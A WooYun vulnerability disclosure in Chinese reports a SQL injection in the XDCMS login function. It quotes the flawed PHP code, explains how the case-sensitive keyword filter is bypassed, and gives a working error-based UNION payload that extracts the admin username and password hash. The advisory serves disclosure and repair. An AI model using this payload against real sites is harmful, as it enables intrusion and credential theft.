当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044557

漏洞标题:XDCMS企业管理系统SQL注入#2

相关厂商:www.xdcms.cn

漏洞作者: xfkxfk

提交时间:2013-12-02 10:12

修复时间:2014-03-02 10:13

公开时间:2014-03-02 10:13

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-02: 细节已通知厂商并且等待厂商处理中
2013-12-03: 厂商已经确认,细节仅向厂商公开
2013-12-06: 细节向第三方安全合作伙伴开放
2014-01-27: 细节向核心白帽子及相关领域专家公开
2014-02-06: 细节向普通白帽子公开
2014-02-16: 细节向实习白帽子公开
2014-03-02: 细节向公众公开

简要描述:

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入

详细说明:

注入在XDCMS企业管理系统的登录功能处,来看看\system\modules\member\index.php文件: 登录时会调用login_save进行登录验证,问题就出在index.php的login_save函数处:

public function login_save(){
$username = safe_html($_POST['username']);//获取UserName,通过safe_html进行过滤,这里存在缺陷,可绕过限制,进行注入
$password = safe_html($_POST['password']);

if(empty($username)||empty($password)){
showmsg(C('user_pass_empty'),'-1');
}

$sql="select * from ".DB_PRE."member where `username`='$username'";//通过绕过限制,在这里进行注入
if($this->mysql->num_rows($sql)==0){
showmsg(C('member_not_exist'),'-1');
}

$password=md5(md5($password));
$rs=$this->mysql->get_one($sql);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
}

if($rs['is_lock']==1){
showmsg(C('user_lock'),'-1');
}

$logins=$rs["logins"]+1;
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'");

Cookie::_setcookie(array('name'=>'member_user','value'=>$username));
Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));
Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));
unset($rs);
showmsg(C("login_success"),"index.php?m=member");
}

漏洞证明:

由于在获取UserName时,通过safe_html进行过滤,safe_html只是按照小写过滤了常规的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,进行注入。
我们使用小写SQL语句,并且不实用=和*
在登录是,抓包,在UserName的值后面增加一下内容:

' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#


即可注入出管理员的用户名密码

dl1.png


dl2.png

修复方案:

过滤严格

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-12-03 11:35

厂商回复:

这个是上次漏洞没更新注入过滤的版本

最新状态:

暂无